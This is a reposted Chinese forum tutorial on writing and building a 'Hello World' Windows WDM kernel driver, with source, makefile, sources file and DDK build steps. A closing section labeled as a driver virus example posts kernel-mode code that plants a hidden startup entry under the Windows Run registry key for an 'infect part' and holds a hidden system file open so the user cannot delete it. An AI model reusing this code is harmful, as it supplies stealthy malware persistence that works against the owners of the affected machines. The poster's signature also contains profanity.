发新话题
打印

[转载]Hello World for WDM

[转载]Hello World for WDM

文章作者:罗聪

/***************************************************************
程序名称:Hello World for WDM
文件名称:HelloWDM.cpp
作者:罗聪
日期:2002-8-16
***************************************************************/

//一定要的头文件,声明了函数模块和变量:
#include "HelloWDM.h"

/***************************************************************
函数名称:DriverEntry()
功能描述:WDM程序入口
***************************************************************/
//extern "C"是必须的,表示“用C链接”。如果你的文件名是HelloWDM.c的话,这句可以省略。
extern "C"
NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath)
{
//指定“添加设备”消息由函数“HelloWDMAddDevice()”来处理:
DriverObject->DriverExtension->AddDevice = HelloWDMAddDevice;
//指定“即插即用”消息由函数“HelloWDMPnp()”来处理:
DriverObject->MajorFunction[IRP_MJ_PNP] = HelloWDMPnp;

//返回一个NTSTATUS值STATUS_SUCCESS。几乎所有的驱动程序例程都必须返回一个NTSTATUS值,这些值在NTSTATUS.H DDK头文件中有详细的定义。
return STATUS_SUCCESS;
}


/***************************************************************
函数名称:HelloWDMAddDevice()
功能描述:处理“添加设备”消息
***************************************************************/
NTSTATUS HelloWDMAddDevice(IN PDRIVER_OBJECT DriverObject,
IN PDEVICE_OBJECT PhysicalDeviceObject)
{
//定义一个NTSTATUS类型的返回值:
NTSTATUS status;
//定义一个功能设备对象(Functional Device Object):
PDEVICE_OBJECT fdo;

//创建我们的功能设备对象,并储存到fdo中:
status = IoCreateDevice(
DriverObject, //驱动程序对象
sizeof(DEVICE_EXTENSION), //要求的设备扩展的大小
NULL, //设备名称,这里为NULL
FILE_DEVICE_UNKNOWN, //设备的类型,在标准头文件WDM.H或NTDDK.H中列出的FILE_DEVICE_xxx值之一
0, //各种常量用OR组合在一起,指示可删除介质、只读等。
FALSE, //如果一次只有一个线程可以访问该设备,为TRUE,否则为FALSE
&fdo); //返回的设备对象

//NT_SUCCESS宏用于测试IoCreateDevice内核是否成功完成。不要忘记检查对内核的所有调用是否成功。NT_ERROR宏不等同于!NT_SUCCESS,最好使用!NT_SUCCESS,因为除了错误外,它还截获警告信息。
if( !NT_SUCCESS(status))
return status;

//创建一个设备扩展对象dx,用于存储指向fdo的指针:
PDEVICE_EXTENSION dx = (PDEVICE_EXTENSION)fdo->DeviceExtension;
dx->fdo = fdo;

//用IoAttachDeviceToDeviceStack函数把HelloWDM设备挂接到设备栈:
dx->NextStackDevice = IoAttachDeviceToDeviceStack(fdo, PhysicalDeviceObject);

//设置fdo的flags。有两个“位”是必须改变的,一个是必须清除DO_DEVICE_INITIALIZING标志,如果在DriverEntry例程中调用IoCreateDevice(),就不需要清除这个标志位。还有一个是必须设置DO_BUFFER_IO标志位:
fdo->Flags |= DO_BUFFERED_IO | DO_POWER_PAGABLE;
fdo->Flags &= ~DO_DEVICE_INITIALIZING;

//返回值:
return STATUS_SUCCESS;
}


/***************************************************************
函数名称:HelloWDMPnp()
功能描述:处理“即插即用”消息
***************************************************************/
NTSTATUS HelloWDMPnp(IN PDEVICE_OBJECT fdo,
IN PIRP Irp)
{
//创建一个设备扩展对象dx,用于存储指向fdo的指针:
PDEVICE_EXTENSION dx=(PDEVICE_EXTENSION)fdo->DeviceExtension;

//首先要通过函数IoGetCurrentIrpStackLocation()得到当前的IRP,并由此得到Minor Function:
PIO_STACK_LOCATION IrpStack = IoGetCurrentIrpStackLocation(Irp);
ULONG MinorFunction = IrpStack->MinorFunction;

//然后把这个Minor Function传递给下一个设备栈:
IoSkipCurrentIrpStackLocation(Irp);
NTSTATUS status = IoCallDriver( dx->NextStackDevice, Irp);

//处理“即插即用”次功能代码:
//当Minor Function等于IRP_MN_REMOVE_DEVICE时,说明有设备被拔出或卸下,这时要取消资源分配并删除设备:
if( MinorFunction==IRP_MN_REMOVE_DEVICE)
{
//取消设备接口:
IoSetDeviceInterfaceState(&dx->ifSymLinkName, FALSE);
RtlFreeUnicodeString(&dx->ifSymLinkName);

//调用IoDetachDevice()把fdo从设备栈中脱开:
if (dx->NextStackDevice)
IoDetachDevice(dx->NextStackDevice);
//删除fdo:
IoDeleteDevice(fdo);
}

//返回值:
return status;
}



/***************************************************************
程序名称:Hello World for WDM
文件名称:HelloWDM.h
作者:罗聪
日期:2002-8-16
***************************************************************/

//头文件,只是声明一些函数和变量,比较简单就不多说了,请读者自行研究:

#ifdef __cplusplus

extern "C"
{
#endif

#include "ntddk.h"

#ifdef __cplusplus
}
#endif

typedef struct _DEVICE_EXTENSION
{
PDEVICE_OBJECT fdo;
PDEVICE_OBJECT NextStackDevice;
UNICODE_STRING ifSymLinkName;

} DEVICE_EXTENSION, *PDEVICE_EXTENSION;

NTSTATUS HelloWDMAddDevice(IN PDRIVER_OBJECT DriverObject,
IN PDEVICE_OBJECT PhysicalDeviceObject);

NTSTATUS HelloWDMPnp(IN PDEVICE_OBJECT fdo,
IN PIRP Irp);

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>编译的方法

·准备工作
1、确定你已经安装了Visual C++
2、安装2000 DDK
3、安装2000 DDK成功后,在“开始”->“程序”里应该有“Development Kits”->“Windows 2000 DDK”的项目。
(注意一定要先安装好VC,然后才安装DDK,这个顺序决不能颠倒!!)
4、保证DDKROOT环境变量设置为Windows 2000 DDK的基目录,如果不是的话,请在控制面板“系统”属性的“高级”标签环境变量编辑器中设置好这个环境变量。


·编写必需的文件
编译WDM程序的时候,有两个文件是必须要有的,它们是:
1、makefile
(这个是什么啊?你可能会问。)对于比较年轻的程序员来说,有可能没有见过这个文件吧。其实在VC这些IDE出现之前,我们都必须使用makefile来确定项目中哪些文件需要重新编译,现在的IDE都把这个工作自动做好了。(Well……其实这样也好。)
我们要做的工作很简单,就是提供这样一个文件,它的内容是:

#
# DO NOT EDIT THIS FILE!!! Edit .\sources. If you want to add a new source
# file to this component. This file merely indirects to the real make file
# that is shared by all the driver components of the Windows NT DDK
#

!INCLUDE $(NTMAKEENV)\makefile.def



正如它所述,不要编辑这个文件。事实上每个WDM程序所需要的makefile的内容都是一样的,也就是说,我们只需要简单地copy一个makefile到新的项目中就可以了。(呵呵,是不是很方便呢?)

2、Sources

TARGETNAME=HelloWDM
TARGETTYPE=DRIVER
DRIVERTYPE=WDM
TARGETPATH=OBJ

INCLUDES=$(BASEDIR)\inc;\
$(BASEDIR)\inc\ddk;\

TARGETLIBS=$(BASEDIR)\lib\*\free\usbd.lib\

SOURCES=HelloWDM.cpp\



这个文件指定了驱动程序目标名是HelloWDM.sys,是一个WDM驱动程序,生成的文件存放在OBJ目录中。值得注意的是,“=”前后不能有空格,否则编译的时候会出错。


·开始编译
娃哈哈,前面罗罗嗦嗦讲了一大堆,现在终于到重点了。WDM程序的编译过程比较特殊,它不是在VC里面按F7来编译的(尽管你可以通过设置来达到这一目的),而是通过一个DDK实用工具build来完成。下面我们来讲讲具体步骤:
1、“Debug”版的生成
首先,我们假设你的源代码放在D:\HelloWDM里面。请跟着以下步骤:

“开始”->“程序”->“Development Kits”->“Windows 2000 DDK”->“Checked Build Environment”

屏幕将显示:(有“回车”的那行是需要读者你亲自打进去的)

New or updated MSVC detected. Updating DDK environment….

Setting environment for using Microsoft Visual C++ tools.
Starting dirs creation…Completed.

D:\NTDDK>cd\HelloWDM (回车)

D:\HelloWDM>build (回车)



如果源代码没有错误的话,生成的HelloWDM.sys将存放在objchk\i386目录中。

2、“Release”版的生成
请跟着以下步骤:

“开始”->“程序”->“Development Kits”->“Windows 2000 DDK”->“Free Build Environment”

随后的步骤跟“Debug”版相同,不同的是生成的HelloWDM.sys将存放在objfre\i386目录中。

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>一个驱动病毒的例子

/*******************************************************************
Copyright (c) 2003 Green Asia Electronics.

Module Name:

   Hello.c

Current Version :
   v0.1


Abstract:
   Whole driver initialize code.

Environment:

   kernel mode only


Functions:
   DriverEntry :
      Initialize code per driver.
   
   XGWriter_DriverUnload :
      Unload code per driver.
   
Notes:

   Copyright (c) 2003 Green Asia Electronics.  All Rights Reserved.


Revision History:

   Year  Month  Day  Author     Version      Comment
   2003  09    14  HenryShow    v0.1     first version
   2003  09    14  HenryShow    V0.11    asm version, no data seg
   2003  09    15  HenryShow    V0.2       open c:\\a in kernel mode, in order to deny user delete it.

*******************************************************************/

///////////////////////////////////////////////////////////////////////////////////
#include "Hello.h"
///////////////////////////////////////////////////////////////////////////////////

/*******************************************************************
Current Version :
   v0.1
   
Routine Prototype:
   NTSTATUS
   DriverEntry(
      IN PDRIVER_OBJECT  DriverObject,
      IN PUNICODE_STRING RegistryPath
   )

Routine Description:

   Installable driver initialization entry point.
   This entry point is called directly by the I/O system.
   
   We use this entry point to add registry key to make system run our infect part.
   Typically, we add a registry key under HKLM\Software\Microsoft\Windows\CurrentVersion\Run
   and the key name and value are random, which is confirmed by infect part.

Arguments:

   DriverObject - pointer to the driver object

   RegistryPath - pointer to a unicode string representing the path
             to driver-specific key in the registry

Return Value:

   STATUS_SUCCESS if successful,
   STATUS_UNSUCCESSFUL otherwise

Revision History:

   Year  Month  Day  Author     Version      Comment
   2003  09    14  HenryShow    v0.1        first version
   2003  09    14  HenryShow    v0.11        asm version.

*******************************************************************/
NTSTATUS
DriverEntry(
   IN PDRIVER_OBJECT  DriverObject,
   IN PUNICODE_STRING RegistryPath
   )
{
   NTSTATUS Status;
   HANDLE RunKey;
   WCHAR RunPath[128] = L"\\Registry\\Machine\\Software\\Microsoft\\Windows\\CurrentVersion\\Run";
   UNICODE_STRING RegPath = {128, 128, RunPath};
   OBJECT_ATTRIBUTES ObjAttr = {0x18, 0, &RegPath, 0, 0, 0};
   WCHAR FileNameStr[60] = L"\\DosDevices\\C:\\A.txt";
   UNICODE_STRING FileName = {60, 60, FileNameStr};
   OBJECT_ATTRIBUTES FileAttr = {0x18, 0, &FileName, 0, 0, 0};
   IO_STATUS_BLOCK IoStatusBlock;
   HANDLE FileHandle;

   Status = ZwOpenKey(&RunKey, KEY_ALL_ACCESS, &ObjAttr);
   
   if (Status == STATUS_SUCCESS){
      ZwSetValueKey(RunKey, &ValueName, 0, REG_SZ, RegKeyValue, sizeof(RegKeyValue) / sizeof(RegKeyValue[0]) * sizeof(WCHAR) );
      ZwClose(RunKey);
   }
   
   Status = ZwCreateFile(&FileHandle, FILE_ALL_ACCESS, &FileAttr, &IoStatusBlock, 0, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM, FILE_SHARE_READ, FILE_OPEN_IF, FILE_NON_DIRECTORY_FILE, NULL, 0);
   
   DriverObject->DriverUnload = DriverUnload;
   
   /*   
   NTSTATUS Status;
   HANDLE RunKey;
   OBJECT_ATTRIBUTES ObjAttr;
   
   // we only interest about the registry.
   ObjAttr.Length = sizeof(OBJECT_ATTRIBUTES);
   ObjAttr.RootDirectory = NULL;
   ObjAttr.ObjectName = &RegPath;
   ObjAttr.Attributes = 0;
   ObjAttr.SecurityDescriptor = NULL;
   ObjAttr.SecurityQualityOfService = NULL;
   
   Status = ZwOpenKey(&RunKey, KEY_ALL_ACCESS, &ObjAttr);
   if (Status == STATUS_SUCCESS){
      ZwSetValueKey(RunKey, &ValueName, 0, REG_SZ, RegKeyValue, sizeof(RegKeyValue) / sizeof(RegKeyValue[0]) * sizeof(WCHAR) );
      ZwClose(RunKey);
   }
   
   DriverObject->DriverUnload = DriverUnload;
   */
   return STATUS_SUCCESS;
}

///////////////////////////////////////////////////////////////////////////////////
VOID
DriverUnload(
   IN PDRIVER_OBJECT DriverObject
   )
{
   // To do : free all global variable's memory which are be allocated in DriverEntry.
   
}
曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

TOP

发新话题